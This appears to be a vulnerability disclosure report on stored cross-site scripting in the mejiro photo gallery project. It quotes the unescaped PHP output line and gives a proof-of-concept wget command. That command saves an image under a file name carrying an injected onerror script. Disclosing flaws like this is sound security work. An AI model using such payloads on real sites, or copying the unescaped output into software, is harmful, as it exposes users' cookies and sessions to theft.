Cross-site Scripting (XSS) - Stored in dmpop/mejiroValid
Sep 14th 2021
Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into websites. An attacker can use XSS to send a malicious script to an unsuspecting user. The end user’s browser has no way to know that the script should not be trusted, and will execute the script.
https://github.com/dmpop/mejiro/ is vulnerable to XSS as shown below:
Proof of Concept
echo '<li><a href="index.php?all=1&photo=' . $file . '&d=' . $sub_photo_dir . '"><img src="' . $tim . '" alt="' . $file_path['filename'] . '" title="' . $file_path['filename'] . '"></a></li>';
Payload: In a terminal upload an image to mejiro photos directory, replace the mejiro location path accordingly:
cd /var/www/html/mejiro-main/photos wget https://upload.wikimedia.org/wikipedia/en/4/48/Blank.JPG -O 'poc"><img src=x onerror="alert(`XSS`)".jpg'
In a browser visit mejiro http://localhost/mejiro-main/ and observe XSS.
Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page.